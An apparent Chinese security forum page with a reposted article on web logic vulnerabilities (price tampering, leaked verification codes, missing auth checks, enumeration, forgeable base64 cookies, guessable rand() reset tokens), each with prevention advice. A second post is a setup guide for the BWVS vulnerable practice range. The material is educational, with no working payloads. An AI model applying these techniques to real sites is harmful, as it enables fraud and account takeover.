通知设置 新通知
Web安全测试中常见逻辑漏洞解析
main 发表了文章 • 0 个评论 • 37 次浏览 • 2019-01-13 14:33
看到一篇关于逻辑漏洞解析的文章，分享给大家：
具体分类：
一：订单金额任意修改解析
很多中小型的购物网站都存在这个漏洞。在提交订单的时候抓取数据包或者直接修改前端代码，然后对订单的金额任意修改。
如下图所示：
经常见到的参数大多为：
rmb
value
amount
cash
fee
money
num
等
关于支付的逻辑漏洞这一块还有很多种思路，比如相同价格增加订单数量，相同订单数量减少产品价格，订单价格设定为负数等等。
预防思路： 1.订单需要多重效验，如下图所演示。
2. 订单数值较大时需要人工审核订单信息，如下图所演示。
3. 我只是提到两个非常简单的预防思路，第二个甚至还有一些不足之处。这里需要根据业务环境的不同总结出自己的预防方式，最好咨询专门的网络安全公司。二：验证码回传解析： 这个漏洞主要是发生在前端验证处，并且经常发生的位置在于：
1.账号密码找回
2.账号注册
3.支付订单等
验证码主要发送途径：
1.邮箱邮件
2.手机短信
其运行机制如下图所示：
黑客只需要抓取Response数据包便知道验证码是多少。
预防思路：
1.response数据内不包含验证码，验证方式主要采取后端验证，但是缺点是服务器的运算压力也会随之增加。
2.如果要进行前端验证的话也可以，但是需要进行加密。当然，这个流程图还有一些安全缺陷，需要根据公司业务的不同而进行更改。
三．未进行登陆凭证验证解析：
有些业务的接口，因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷，导致黑客可以未经授权访问这些敏感信息甚至是越权操作。
常见案例：
1. 某电商后台主页面，直接在管理员web路径后面输入main.php之类的即可进入。
2. 某航空公司订单ID枚举
3. 某电子认证中心敏感文件下载
4.某站越权操作及缺陷，其主要原因是没对ID参数做cookie验证导致。
5. 实际上还有很多案例，这里就不一一例举了，但是他们都存在一个共同的特性，就是没有对用户的登陆凭证进行效验，如下图为例。
预防思路： 对敏感数据存在的接口和页面做cookie，ssid，token或者其它验证，如下图所示。
四：接口无限制枚举解析：
有些关键性的接口因为没有做验证或者其它预防机制，容易遭到枚举攻击。
常见案例：
1. 某电商登陆接口无验证导致撞库
2. 某招聘网验证码无限制枚举
3. 某快递公司优惠券枚举
4. 某电商会员卡卡号枚举
5. 某超市注册用户信息获取
预防思路： 1. 在输入接口设置验证，如token，验证码等。
如果设定验证码，最好不要单纯的采取一个前端验证，最好选择后端验证。
如果设定token，请确保每个token只能采用一次，并且对token设定时间参数。
2. 注册界面的接口不要返回太多敏感信息，以防遭到黑客制作枚举字典。
3. 验证码请不要以短数字来甚至，最好是以字母加数字进行组合，并且验证码需要设定时间期限。
4. 优惠券，VIP卡号请尽量不要存在规律性和简短性，并且优惠券最好是以数字加字母进行组合。
5. 以上这是部分个人建议，实际方案需要参考业务的具体情况。五：cookie设计存在缺陷解析：
这里需要对其详细的说一下。我们先一个一个来吧。
Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单，导致黑客可以对cookie的效验值进行一个枚举，如下图所示
根据上图，我们可以分析出，这家网站对于cookie的效验只单纯的采用了一组数字，并且数值为常量，不会改变，这样非常容易遭到黑客的枚举。甚至有一些网站做的更简单，直接以用户名，邮箱号或者用户ID等来作为cookie的判断标准。
2. cookie设置存在被盗风险
有很多时候，如果一个用户的cookie被盗取，就算用户怎么修改账号和密码，那段cookie一样有效。详情可以参考《BlackHat（世界黑帽大会）官方APP出现两个逻辑漏洞》。
其原理如下：
国内大部分厂商都不会把这个地方当作安全漏洞来处理，他们认为这个漏洞的利用条件是黑客必须要大批量获取到用户的cookie。虽然事实如此，但是这个也是一个安全隐患。
3.用户的cookie数据加密应严格使用标准加密算法，并注意密钥管理。
有一些厂商为了图方便，没有对用户的cookie做太多的加密工作，仅仅是单纯的做一个静态加密就完事了。我之前就碰到一个，可以为大家还原一下当时的场景。
当时我看到cookie中有个access token参数，看到value后面是两个等号，习惯性的给丢去base64解码里面，发现解出来后是我的用户名。因此只要知道一个人的用户名就可以伪造对方的cookie，登陆他人账户。
4.还有多个案例不再做重复说明，大家可以深入研究一下cookie中的逻辑漏洞。但是cookie中的漏洞大多都是属于一个越权漏洞。越权漏洞又分为平行越权，垂直越权和交叉越权。
平行越权：权限类型不变，权限ID改变
垂直越权：权限ID不变，权限类型改变
交叉越权：即改变ID，也改变权限
如下图所示：
预防思路： 1.cookie中设定多个验证，比如自如APP的cookie中，需要sign和ssid两个参数配对，才能返回数据。
2.用户的cookie数据加密应严格使用标准加密算法，并注意密钥管理。
3.用户的cookie的生成过程中最好带入用户的密码，一旦密码改变，cookie的值也会改变。
4.cookie中设定session参数，以防cookie可以长时间生效。
5.还有很多方法，不再一一例举，请根据业务不同而思考。
六：找回密码存在设计缺陷解析：
1.auth设计缺陷
经常研究逻辑漏洞的人可能会对以下URL很熟悉[code]www.xxx.com/resetpassword.php?id=MD5
[/code]
用户修改密码时，邮箱中会收到一个含有auth的链接，在有效期内用户点击链接，即可进入重置密码环节。而大部分网站对于auth的生成都是采用rand()函数，那么这里就存在一个问题了，Windows环境下rand()最大值为32768，所以这个auth的值是可以被枚举的。
如下面这个代码可以对auth的值做一个字典。
然后重置某个账号，并且对重置链接内的auth进行枚举
整个漏洞的运作的流程图如下：
2.对response做验证 这个漏洞经常出现在APP中，其主要原因是对于重置密码的的验证是看response数据包，由于之前的案例没有截图，只能画个流程图给大家演示一下。
3.《密码找回逻辑漏洞总结》这篇文章很全面的总结了密码找回漏洞的几个具体思路和分析，这里我就不再继续滚轮子了。
预防思路： 1.严格使用标准加密算法，并注意密钥管理。
2.在重置密码的链接上请带入多个安全的验证参数。七：单纯读取内存值数据来当作用户凭证解析：
实际上这个应该算作一个软件的漏洞，但是因为和web服务器相关，所以也当作WEB的逻辑漏洞来处理了。最能当作例子是《腾讯QQ存在高危漏洞可读取并下载任意用户离线文件（泄漏敏感信息）》这个漏洞，但是我相信这种奇葩的漏洞不一定只有腾讯才有，只是还没人去检测罢了。
产生这个漏洞的主要原因是程序在确定一个用户的登陆凭证的时候主要是依靠内存值中的某个value来进行确认，而不是cookie。但是内存值是可以更改和查看的。
其流程图如下：
预防思路： 1. 走服务器端的数据最好做cookie验证。
2. 我不反对直接在进程中确定用户的登陆凭证，但是请对进程进行保护，或者对进程中的value做加密处理。
-------转载：https://www.freebuf.com/vuls/112339.html#
*文章原创作者： ArthurKiller@漏洞盒子安全研究团队，来自FreeBuf黑客与极客（FreeBuf.COM） 查看全部
具体分类：
一：订单金额任意修改解析
很多中小型的购物网站都存在这个漏洞。在提交订单的时候抓取数据包或者直接修改前端代码，然后对订单的金额任意修改。
如下图所示：
经常见到的参数大多为：
rmb
value
amount
cash
fee
money
num
等
关于支付的逻辑漏洞这一块还有很多种思路，比如相同价格增加订单数量，相同订单数量减少产品价格，订单价格设定为负数等等。
预防思路： 1.订单需要多重效验，如下图所演示。
2. 订单数值较大时需要人工审核订单信息，如下图所演示。
3. 我只是提到两个非常简单的预防思路，第二个甚至还有一些不足之处。这里需要根据业务环境的不同总结出自己的预防方式，最好咨询专门的网络安全公司。二：验证码回传解析： 这个漏洞主要是发生在前端验证处，并且经常发生的位置在于：
1.账号密码找回
2.账号注册
3.支付订单等
验证码主要发送途径：
1.邮箱邮件
2.手机短信
其运行机制如下图所示：
黑客只需要抓取Response数据包便知道验证码是多少。
预防思路：
1.response数据内不包含验证码，验证方式主要采取后端验证，但是缺点是服务器的运算压力也会随之增加。
2.如果要进行前端验证的话也可以，但是需要进行加密。当然，这个流程图还有一些安全缺陷，需要根据公司业务的不同而进行更改。
三．未进行登陆凭证验证解析：
有些业务的接口，因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷，导致黑客可以未经授权访问这些敏感信息甚至是越权操作。
常见案例：
1. 某电商后台主页面，直接在管理员web路径后面输入main.php之类的即可进入。
2. 某航空公司订单ID枚举
3. 某电子认证中心敏感文件下载
4.某站越权操作及缺陷，其主要原因是没对ID参数做cookie验证导致。
5. 实际上还有很多案例，这里就不一一例举了，但是他们都存在一个共同的特性，就是没有对用户的登陆凭证进行效验，如下图为例。
预防思路： 对敏感数据存在的接口和页面做cookie，ssid，token或者其它验证，如下图所示。
四：接口无限制枚举解析：
有些关键性的接口因为没有做验证或者其它预防机制，容易遭到枚举攻击。
常见案例：
1. 某电商登陆接口无验证导致撞库
2. 某招聘网验证码无限制枚举
3. 某快递公司优惠券枚举
4. 某电商会员卡卡号枚举
5. 某超市注册用户信息获取
预防思路： 1. 在输入接口设置验证，如token，验证码等。
如果设定验证码，最好不要单纯的采取一个前端验证，最好选择后端验证。
如果设定token，请确保每个token只能采用一次，并且对token设定时间参数。
2. 注册界面的接口不要返回太多敏感信息，以防遭到黑客制作枚举字典。
3. 验证码请不要以短数字来甚至，最好是以字母加数字进行组合，并且验证码需要设定时间期限。
4. 优惠券，VIP卡号请尽量不要存在规律性和简短性，并且优惠券最好是以数字加字母进行组合。
5. 以上这是部分个人建议，实际方案需要参考业务的具体情况。五：cookie设计存在缺陷解析：
这里需要对其详细的说一下。我们先一个一个来吧。
Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单，导致黑客可以对cookie的效验值进行一个枚举，如下图所示
根据上图，我们可以分析出，这家网站对于cookie的效验只单纯的采用了一组数字，并且数值为常量，不会改变，这样非常容易遭到黑客的枚举。甚至有一些网站做的更简单，直接以用户名，邮箱号或者用户ID等来作为cookie的判断标准。
2. cookie设置存在被盗风险
有很多时候，如果一个用户的cookie被盗取，就算用户怎么修改账号和密码，那段cookie一样有效。详情可以参考《BlackHat（世界黑帽大会）官方APP出现两个逻辑漏洞》。
其原理如下：
国内大部分厂商都不会把这个地方当作安全漏洞来处理，他们认为这个漏洞的利用条件是黑客必须要大批量获取到用户的cookie。虽然事实如此，但是这个也是一个安全隐患。
3.用户的cookie数据加密应严格使用标准加密算法，并注意密钥管理。
有一些厂商为了图方便，没有对用户的cookie做太多的加密工作，仅仅是单纯的做一个静态加密就完事了。我之前就碰到一个，可以为大家还原一下当时的场景。
当时我看到cookie中有个access token参数，看到value后面是两个等号，习惯性的给丢去base64解码里面，发现解出来后是我的用户名。因此只要知道一个人的用户名就可以伪造对方的cookie，登陆他人账户。
4.还有多个案例不再做重复说明，大家可以深入研究一下cookie中的逻辑漏洞。但是cookie中的漏洞大多都是属于一个越权漏洞。越权漏洞又分为平行越权，垂直越权和交叉越权。
平行越权：权限类型不变，权限ID改变
垂直越权：权限ID不变，权限类型改变
交叉越权：即改变ID，也改变权限
如下图所示：
预防思路： 1.cookie中设定多个验证，比如自如APP的cookie中，需要sign和ssid两个参数配对，才能返回数据。
2.用户的cookie数据加密应严格使用标准加密算法，并注意密钥管理。
3.用户的cookie的生成过程中最好带入用户的密码，一旦密码改变，cookie的值也会改变。
4.cookie中设定session参数，以防cookie可以长时间生效。
5.还有很多方法，不再一一例举，请根据业务不同而思考。
六：找回密码存在设计缺陷解析：
1.auth设计缺陷
经常研究逻辑漏洞的人可能会对以下URL很熟悉[code]www.xxx.com/resetpassword.php?id=MD5
[/code]
用户修改密码时，邮箱中会收到一个含有auth的链接，在有效期内用户点击链接，即可进入重置密码环节。而大部分网站对于auth的生成都是采用rand()函数，那么这里就存在一个问题了，Windows环境下rand()最大值为32768，所以这个auth的值是可以被枚举的。
如下面这个代码可以对auth的值做一个字典。
然后重置某个账号，并且对重置链接内的auth进行枚举
整个漏洞的运作的流程图如下：
2.对response做验证 这个漏洞经常出现在APP中，其主要原因是对于重置密码的的验证是看response数据包，由于之前的案例没有截图，只能画个流程图给大家演示一下。
3.《密码找回逻辑漏洞总结》这篇文章很全面的总结了密码找回漏洞的几个具体思路和分析，这里我就不再继续滚轮子了。
预防思路： 1.严格使用标准加密算法，并注意密钥管理。
2.在重置密码的链接上请带入多个安全的验证参数。七：单纯读取内存值数据来当作用户凭证解析：
实际上这个应该算作一个软件的漏洞，但是因为和web服务器相关，所以也当作WEB的逻辑漏洞来处理了。最能当作例子是《腾讯QQ存在高危漏洞可读取并下载任意用户离线文件（泄漏敏感信息）》这个漏洞，但是我相信这种奇葩的漏洞不一定只有腾讯才有，只是还没人去检测罢了。
产生这个漏洞的主要原因是程序在确定一个用户的登陆凭证的时候主要是依靠内存值中的某个value来进行确认，而不是cookie。但是内存值是可以更改和查看的。
其流程图如下：
预防思路： 1. 走服务器端的数据最好做cookie验证。
2. 我不反对直接在进程中确定用户的登陆凭证，但是请对进程进行保护，或者对进程中的value做加密处理。
-------转载：https://www.freebuf.com/vuls/112339.html#
*文章原创作者： ArthurKiller@漏洞盒子安全研究团队，来自FreeBuf黑客与极客（FreeBuf.COM） 查看全部
看到一篇关于逻辑漏洞解析的文章，分享给大家：
具体分类：
一：订单金额任意修改解析
很多中小型的购物网站都存在这个漏洞。在提交订单的时候抓取数据包或者直接修改前端代码，然后对订单的金额任意修改。
如下图所示：
经常见到的参数大多为：
关于支付的逻辑漏洞这一块还有很多种思路，比如相同价格增加订单数量，相同订单数量减少产品价格，订单价格设定为负数等等。
预防思路： 1.订单需要多重效验，如下图所演示。
2. 订单数值较大时需要人工审核订单信息，如下图所演示。
3. 我只是提到两个非常简单的预防思路，第二个甚至还有一些不足之处。这里需要根据业务环境的不同总结出自己的预防方式，最好咨询专门的网络安全公司。二：验证码回传解析： 这个漏洞主要是发生在前端验证处，并且经常发生的位置在于：
验证码主要发送途径：
其运行机制如下图所示：
黑客只需要抓取Response数据包便知道验证码是多少。
预防思路：
1.response数据内不包含验证码，验证方式主要采取后端验证，但是缺点是服务器的运算压力也会随之增加。
2.如果要进行前端验证的话也可以，但是需要进行加密。当然，这个流程图还有一些安全缺陷，需要根据公司业务的不同而进行更改。
三．未进行登陆凭证验证解析：
有些业务的接口，因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷，导致黑客可以未经授权访问这些敏感信息甚至是越权操作。
常见案例：
1. 某电商后台主页面，直接在管理员web路径后面输入main.php之类的即可进入。
2. 某航空公司订单ID枚举
3. 某电子认证中心敏感文件下载
4.某站越权操作及缺陷，其主要原因是没对ID参数做cookie验证导致。
5. 实际上还有很多案例，这里就不一一例举了，但是他们都存在一个共同的特性，就是没有对用户的登陆凭证进行效验，如下图为例。
预防思路： 对敏感数据存在的接口和页面做cookie，ssid，token或者其它验证，如下图所示。
四：接口无限制枚举解析：
有些关键性的接口因为没有做验证或者其它预防机制，容易遭到枚举攻击。
常见案例：
1. 某电商登陆接口无验证导致撞库
2. 某招聘网验证码无限制枚举
3. 某快递公司优惠券枚举
4. 某电商会员卡卡号枚举
5. 某超市注册用户信息获取
预防思路： 1. 在输入接口设置验证，如token，验证码等。
2. 注册界面的接口不要返回太多敏感信息，以防遭到黑客制作枚举字典。
3. 验证码请不要以短数字来甚至，最好是以字母加数字进行组合，并且验证码需要设定时间期限。
4. 优惠券，VIP卡号请尽量不要存在规律性和简短性，并且优惠券最好是以数字加字母进行组合。
5. 以上这是部分个人建议，实际方案需要参考业务的具体情况。五：cookie设计存在缺陷解析：
这里需要对其详细的说一下。我们先一个一个来吧。
根据上图，我们可以分析出，这家网站对于cookie的效验只单纯的采用了一组数字，并且数值为常量，不会改变，这样非常容易遭到黑客的枚举。甚至有一些网站做的更简单，直接以用户名，邮箱号或者用户ID等来作为cookie的判断标准。
2. cookie设置存在被盗风险
有很多时候，如果一个用户的cookie被盗取，就算用户怎么修改账号和密码，那段cookie一样有效。详情可以参考《BlackHat（世界黑帽大会）官方APP出现两个逻辑漏洞》。
其原理如下：
国内大部分厂商都不会把这个地方当作安全漏洞来处理，他们认为这个漏洞的利用条件是黑客必须要大批量获取到用户的cookie。虽然事实如此，但是这个也是一个安全隐患。
3.用户的cookie数据加密应严格使用标准加密算法，并注意密钥管理。
有一些厂商为了图方便，没有对用户的cookie做太多的加密工作，仅仅是单纯的做一个静态加密就完事了。我之前就碰到一个，可以为大家还原一下当时的场景。
当时我看到cookie中有个access token参数，看到value后面是两个等号，习惯性的给丢去base64解码里面，发现解出来后是我的用户名。因此只要知道一个人的用户名就可以伪造对方的cookie，登陆他人账户。
4.还有多个案例不再做重复说明，大家可以深入研究一下cookie中的逻辑漏洞。但是cookie中的漏洞大多都是属于一个越权漏洞。越权漏洞又分为平行越权，垂直越权和交叉越权。
如下图所示：
预防思路： 1.cookie中设定多个验证，比如自如APP的cookie中，需要sign和ssid两个参数配对，才能返回数据。
2.用户的cookie数据加密应严格使用标准加密算法，并注意密钥管理。
3.用户的cookie的生成过程中最好带入用户的密码，一旦密码改变，cookie的值也会改变。
4.cookie中设定session参数，以防cookie可以长时间生效。
5.还有很多方法，不再一一例举，请根据业务不同而思考。
六：找回密码存在设计缺陷解析：
1.auth设计缺陷
经常研究逻辑漏洞的人可能会对以下URL很熟悉
用户修改密码时，邮箱中会收到一个含有auth的链接，在有效期内用户点击链接，即可进入重置密码环节。而大部分网站对于auth的生成都是采用rand()函数，那么这里就存在一个问题了，Windows环境下rand()最大值为32768，所以这个auth的值是可以被枚举的。
如下面这个代码可以对auth的值做一个字典。
然后重置某个账号，并且对重置链接内的auth进行枚举
整个漏洞的运作的流程图如下：
2.对response做验证 这个漏洞经常出现在APP中，其主要原因是对于重置密码的的验证是看response数据包，由于之前的案例没有截图，只能画个流程图给大家演示一下。
3.《密码找回逻辑漏洞总结》这篇文章很全面的总结了密码找回漏洞的几个具体思路和分析，这里我就不再继续滚轮子了。
预防思路： 1.严格使用标准加密算法，并注意密钥管理。
2.在重置密码的链接上请带入多个安全的验证参数。七：单纯读取内存值数据来当作用户凭证解析：
实际上这个应该算作一个软件的漏洞，但是因为和web服务器相关，所以也当作WEB的逻辑漏洞来处理了。最能当作例子是《腾讯QQ存在高危漏洞可读取并下载任意用户离线文件（泄漏敏感信息）》这个漏洞，但是我相信这种奇葩的漏洞不一定只有腾讯才有，只是还没人去检测罢了。
产生这个漏洞的主要原因是程序在确定一个用户的登陆凭证的时候主要是依靠内存值中的某个value来进行确认，而不是cookie。但是内存值是可以更改和查看的。
其流程图如下：
预防思路： 1. 走服务器端的数据最好做cookie验证。
2. 我不反对直接在进程中确定用户的登陆凭证，但是请对进程进行保护，或者对进程中的value做加密处理。
-------转载：https://www.freebuf.com/vuls/112339.html#
*文章原创作者： ArthurKiller@漏洞盒子安全研究团队，来自FreeBuf黑客与极客（FreeBuf.COM）
具体分类：
一：订单金额任意修改解析
很多中小型的购物网站都存在这个漏洞。在提交订单的时候抓取数据包或者直接修改前端代码，然后对订单的金额任意修改。
如下图所示：
经常见到的参数大多为：
rmb
value
amount
cash
fee
money
num
等
关于支付的逻辑漏洞这一块还有很多种思路，比如相同价格增加订单数量，相同订单数量减少产品价格，订单价格设定为负数等等。
预防思路： 1.订单需要多重效验，如下图所演示。
2. 订单数值较大时需要人工审核订单信息，如下图所演示。
3. 我只是提到两个非常简单的预防思路，第二个甚至还有一些不足之处。这里需要根据业务环境的不同总结出自己的预防方式，最好咨询专门的网络安全公司。二：验证码回传解析： 这个漏洞主要是发生在前端验证处，并且经常发生的位置在于：
1.账号密码找回
2.账号注册
3.支付订单等
验证码主要发送途径：
1.邮箱邮件
2.手机短信
其运行机制如下图所示：
黑客只需要抓取Response数据包便知道验证码是多少。
预防思路：
1.response数据内不包含验证码，验证方式主要采取后端验证，但是缺点是服务器的运算压力也会随之增加。
2.如果要进行前端验证的话也可以，但是需要进行加密。当然，这个流程图还有一些安全缺陷，需要根据公司业务的不同而进行更改。
三．未进行登陆凭证验证解析：
有些业务的接口，因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷，导致黑客可以未经授权访问这些敏感信息甚至是越权操作。
常见案例：
1. 某电商后台主页面，直接在管理员web路径后面输入main.php之类的即可进入。
2. 某航空公司订单ID枚举
3. 某电子认证中心敏感文件下载
4.某站越权操作及缺陷，其主要原因是没对ID参数做cookie验证导致。
5. 实际上还有很多案例，这里就不一一例举了，但是他们都存在一个共同的特性，就是没有对用户的登陆凭证进行效验，如下图为例。
预防思路： 对敏感数据存在的接口和页面做cookie，ssid，token或者其它验证，如下图所示。
四：接口无限制枚举解析：
有些关键性的接口因为没有做验证或者其它预防机制，容易遭到枚举攻击。
常见案例：
1. 某电商登陆接口无验证导致撞库
2. 某招聘网验证码无限制枚举
3. 某快递公司优惠券枚举
4. 某电商会员卡卡号枚举
5. 某超市注册用户信息获取
预防思路： 1. 在输入接口设置验证，如token，验证码等。
如果设定验证码，最好不要单纯的采取一个前端验证，最好选择后端验证。
如果设定token，请确保每个token只能采用一次，并且对token设定时间参数。
2. 注册界面的接口不要返回太多敏感信息，以防遭到黑客制作枚举字典。
3. 验证码请不要以短数字来甚至，最好是以字母加数字进行组合，并且验证码需要设定时间期限。
4. 优惠券，VIP卡号请尽量不要存在规律性和简短性，并且优惠券最好是以数字加字母进行组合。
5. 以上这是部分个人建议，实际方案需要参考业务的具体情况。五：cookie设计存在缺陷解析：
这里需要对其详细的说一下。我们先一个一个来吧。
- Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单，导致黑客可以对cookie的效验值进行一个枚举，如下图所示
根据上图，我们可以分析出，这家网站对于cookie的效验只单纯的采用了一组数字，并且数值为常量，不会改变，这样非常容易遭到黑客的枚举。甚至有一些网站做的更简单，直接以用户名，邮箱号或者用户ID等来作为cookie的判断标准。
2. cookie设置存在被盗风险
有很多时候，如果一个用户的cookie被盗取，就算用户怎么修改账号和密码，那段cookie一样有效。详情可以参考《BlackHat（世界黑帽大会）官方APP出现两个逻辑漏洞》。
其原理如下：
国内大部分厂商都不会把这个地方当作安全漏洞来处理，他们认为这个漏洞的利用条件是黑客必须要大批量获取到用户的cookie。虽然事实如此，但是这个也是一个安全隐患。
3.用户的cookie数据加密应严格使用标准加密算法，并注意密钥管理。
有一些厂商为了图方便，没有对用户的cookie做太多的加密工作，仅仅是单纯的做一个静态加密就完事了。我之前就碰到一个，可以为大家还原一下当时的场景。
当时我看到cookie中有个access token参数，看到value后面是两个等号，习惯性的给丢去base64解码里面，发现解出来后是我的用户名。因此只要知道一个人的用户名就可以伪造对方的cookie，登陆他人账户。
4.还有多个案例不再做重复说明，大家可以深入研究一下cookie中的逻辑漏洞。但是cookie中的漏洞大多都是属于一个越权漏洞。越权漏洞又分为平行越权，垂直越权和交叉越权。
平行越权：权限类型不变，权限ID改变
垂直越权：权限ID不变，权限类型改变
交叉越权：即改变ID，也改变权限
如下图所示：
预防思路： 1.cookie中设定多个验证，比如自如APP的cookie中，需要sign和ssid两个参数配对，才能返回数据。
2.用户的cookie数据加密应严格使用标准加密算法，并注意密钥管理。
3.用户的cookie的生成过程中最好带入用户的密码，一旦密码改变，cookie的值也会改变。
4.cookie中设定session参数，以防cookie可以长时间生效。
5.还有很多方法，不再一一例举，请根据业务不同而思考。
六：找回密码存在设计缺陷解析：
1.auth设计缺陷
经常研究逻辑漏洞的人可能会对以下URL很熟悉
[code]www.xxx.com/resetpassword.php?id=MD5[/code]
用户修改密码时，邮箱中会收到一个含有auth的链接，在有效期内用户点击链接，即可进入重置密码环节。而大部分网站对于auth的生成都是采用rand()函数，那么这里就存在一个问题了，Windows环境下rand()最大值为32768，所以这个auth的值是可以被枚举的。
如下面这个代码可以对auth的值做一个字典。
然后重置某个账号，并且对重置链接内的auth进行枚举
整个漏洞的运作的流程图如下：
2.对response做验证 这个漏洞经常出现在APP中，其主要原因是对于重置密码的的验证是看response数据包，由于之前的案例没有截图，只能画个流程图给大家演示一下。
3.《密码找回逻辑漏洞总结》这篇文章很全面的总结了密码找回漏洞的几个具体思路和分析，这里我就不再继续滚轮子了。
预防思路： 1.严格使用标准加密算法，并注意密钥管理。
2.在重置密码的链接上请带入多个安全的验证参数。七：单纯读取内存值数据来当作用户凭证解析：
实际上这个应该算作一个软件的漏洞，但是因为和web服务器相关，所以也当作WEB的逻辑漏洞来处理了。最能当作例子是《腾讯QQ存在高危漏洞可读取并下载任意用户离线文件（泄漏敏感信息）》这个漏洞，但是我相信这种奇葩的漏洞不一定只有腾讯才有，只是还没人去检测罢了。
产生这个漏洞的主要原因是程序在确定一个用户的登陆凭证的时候主要是依靠内存值中的某个value来进行确认，而不是cookie。但是内存值是可以更改和查看的。
其流程图如下：
预防思路： 1. 走服务器端的数据最好做cookie验证。
2. 我不反对直接在进程中确定用户的登陆凭证，但是请对进程进行保护，或者对进程中的value做加密处理。
-------转载：https://www.freebuf.com/vuls/112339.html#
*文章原创作者： ArthurKiller@漏洞盒子安全研究团队，来自FreeBuf黑客与极客（FreeBuf.COM）
web漏洞大型综合类测试系统-BWVS
llpkk 发表了文章 • 1 个评论 • 52 次浏览 • 2019-01-10 23:39
本篇文章主要借鉴于：
id：疯狂棒棒糖7
https://blog.csdn.net/weixin_42373210/article/details/81196338
我的简书博客：https://www.jianshu.com/u/1f9e409c0809
在学习了一些基本的漏洞之后，只能在笔记中能够回顾这些基础，并不能有一个合适的靶场来练习。当然，SQLi，upload-labs-master是sql注入和文件上传漏洞非常能够有提升自己的靶场，但是像反射性XSS，存储型XSS和DOM型XSS就比较难以复现，像CSRF，SSRF，任意命令执行和任意文件下载等等很多基础漏洞无法复现。我很迫切找到一个能够拥有这些所有漏洞的综合性渗透测试靶场，所以我就百度了一些，找到了由BUGKU推出的一款开元免费的渗透测试靶场——BWVS。
（因为我比较菜，所以感觉DVWA感觉比较难，大佬自行绕过）
我会在这里详细描述一下BWVS的搭建过程①：靶场所需要的环境
PHP和MYSQL环境即可，看过大佬的博客有说最好不要装在虚拟机当中。
php环境：使用phpstudy2018
mysql环境：phpstudy自带mysql环境
phpstudy2018官网下载传送门：http://phpstudy.php.cn
phpstudy2018使用教程传送门：http://www.php.cn/php-weizijiaocheng-389892.html
如果你从来都没有使用过phpstudy2018，那么给你这个非常详细的使用教程，我这里就不在赘述，
image.png
②：为搭建BWVS更改配置文件 php.ini 中的配置
需要配置php.ini中的两个配置：
1.allow_url_include = On（需要手动开启）
2.allow_url_fopen = On（默认为开启）
image.png
正常情况下这两个选项是在一起的，如图改为On就好了
image.png③：配置BWVS靶机
下载BWVS压缩包并解压后会出现WWW.rar和dwvs.sql两个文件，首先需要导入根目录的sql 文件，百度了一个懒人教程，非常简单。
image.png
这个过程需要注意的是还原到数据库名这个地方一定要写BWVS，自己踩过坑，比较注意。
这时候把解压出来的WWW.rar文件解压解压出来并将文件名WWW改为BWVS并放置到php目录下的WWW目录下例如我的是：G:\php\PHPTutorial\WWW
这个要根据自己安装的情况来定④：BWVS配置文件的修改
接着需要修改\bwvs_config\sys_config.php 配置文件中的Mysql 和根目录的配置，这里需要注意的是如果数据库没有改用户名和密码那只需要把 “DateName”改为“BWVS” 然后把根目录改为文件夹的名字‘/BWVS’即可。
image.png
接着修改\bug\conn.php里的mysql配置，同理如果没有改动数据库的用户名和密码只需要将新建的数据库名修改了即可。
image.png⑤：BWVS配置完成，进入靶场进行联系
打开phpstudy2018并启动，在浏览器中输入127.0.0.1或者输入http://localhost/BWVS。
如果没有目录的话在php中可以打开，如图
image.png
这样进入后直接打开BWVS即可
image.png
image.png
image.png
到这里整个环境就搭建完成，一共拥有41个漏洞[code] SQL联合查询注入
SQL搜索型注入
SQL报错型注入
SQL数字型注入
SQL字符型注入
SQL基于时间的盲注
SQL逻辑注入
反射型 XSS
存储型 XSS
DOM型 XSS
暴力破解
PHP远程命令执行漏洞
本地文件包含漏洞
任意文件包含漏洞
任意代码读取漏洞
目录限制文件包含
修改任意用户密码漏洞
任意文件上传漏洞
JS限制文件上传
MIME限制文件上传
扩展名限制文件上传
内容限制文件上传
任意代码执行
ssrf
无验证码爆破
源码泄漏
php://input伪协议。。。。。。等等漏洞共41个
[/code]
BWVS渗透测试靶场可以帮助我们复现各种各样的漏洞，有些简单到让人蛋蛋痛，但也有些可能会让你感到怀疑人生。目前我由于时间原因还没有完全做完，希望自己能够把这里的所有漏洞都复现一下。作为一个web安全的小白白在老师的带领下看到了许许多多业界大佬精英的“英雄池”是那么那么的深，瞬间感觉自己很渺小，很微弱。无论是年幼的幻想也罢，还是成年的理想也好，我都希望自己能够坚持下去，走好我自己的网络安全之路，加油~ 查看全部
id：疯狂棒棒糖7
https://blog.csdn.net/weixin_42373210/article/details/81196338
我的简书博客：https://www.jianshu.com/u/1f9e409c0809
在学习了一些基本的漏洞之后，只能在笔记中能够回顾这些基础，并不能有一个合适的靶场来练习。当然，SQLi，upload-labs-master是sql注入和文件上传漏洞非常能够有提升自己的靶场，但是像反射性XSS，存储型XSS和DOM型XSS就比较难以复现，像CSRF，SSRF，任意命令执行和任意文件下载等等很多基础漏洞无法复现。我很迫切找到一个能够拥有这些所有漏洞的综合性渗透测试靶场，所以我就百度了一些，找到了由BUGKU推出的一款开元免费的渗透测试靶场——BWVS。
（因为我比较菜，所以感觉DVWA感觉比较难，大佬自行绕过）
我会在这里详细描述一下BWVS的搭建过程①：靶场所需要的环境
PHP和MYSQL环境即可，看过大佬的博客有说最好不要装在虚拟机当中。
php环境：使用phpstudy2018
mysql环境：phpstudy自带mysql环境
phpstudy2018官网下载传送门：http://phpstudy.php.cn
phpstudy2018使用教程传送门：http://www.php.cn/php-weizijiaocheng-389892.html
如果你从来都没有使用过phpstudy2018，那么给你这个非常详细的使用教程，我这里就不在赘述，
image.png
②：为搭建BWVS更改配置文件 php.ini 中的配置
需要配置php.ini中的两个配置：
1.allow_url_include = On（需要手动开启）
2.allow_url_fopen = On（默认为开启）
image.png
正常情况下这两个选项是在一起的，如图改为On就好了
image.png③：配置BWVS靶机
下载BWVS压缩包并解压后会出现WWW.rar和dwvs.sql两个文件，首先需要导入根目录的sql 文件，百度了一个懒人教程，非常简单。
image.png
这个过程需要注意的是还原到数据库名这个地方一定要写BWVS，自己踩过坑，比较注意。
这时候把解压出来的WWW.rar文件解压解压出来并将文件名WWW改为BWVS并放置到php目录下的WWW目录下例如我的是：G:\php\PHPTutorial\WWW
